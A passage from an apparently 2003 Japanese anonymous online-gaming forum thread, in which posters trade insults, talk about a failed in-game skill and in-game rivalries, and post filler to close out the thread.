972ネトゲ廃人@名無し:03/09/14 17:04 ID:???
>>971
空気嫁よ屑
973ネトゲ廃人@名無し:03/09/14 17:29 ID:???
>>963
まぁ、電通大つぶそうぜw
974ネトゲ廃人@名無し:03/09/14 17:42 ID:???
>>971
お前周りから嫌われてるだろ?
975ネトゲ廃人@名無し:03/09/14 17:51 ID:???
>>970
スキル発動失敗してるだけだよアホタリン
ちゃんといろいろ調べて来い

対策もうpしてくれてる親切なところがあるダニ

残り25梅!
976ネトゲ廃人@名無し:03/09/14 19:43 ID:???
(・w・)ウメウメ
977ネトゲ廃人@名無し:03/09/14 20:21 ID:???
>>803
答えてくれてありがとう
978ネトゲ廃人@名無し:03/09/14 20:28 ID:???
高性能GM返答作ろうぜ。
アリの巣はきびしいんよ。なにせ全員にWIS送ってそうだからな
979フフリ:03/09/14 20:51 ID:???
夕べ他の用事があってできなかった
ごめんよ 今から攻撃開始
980ネトゲ廃人@名無し
ume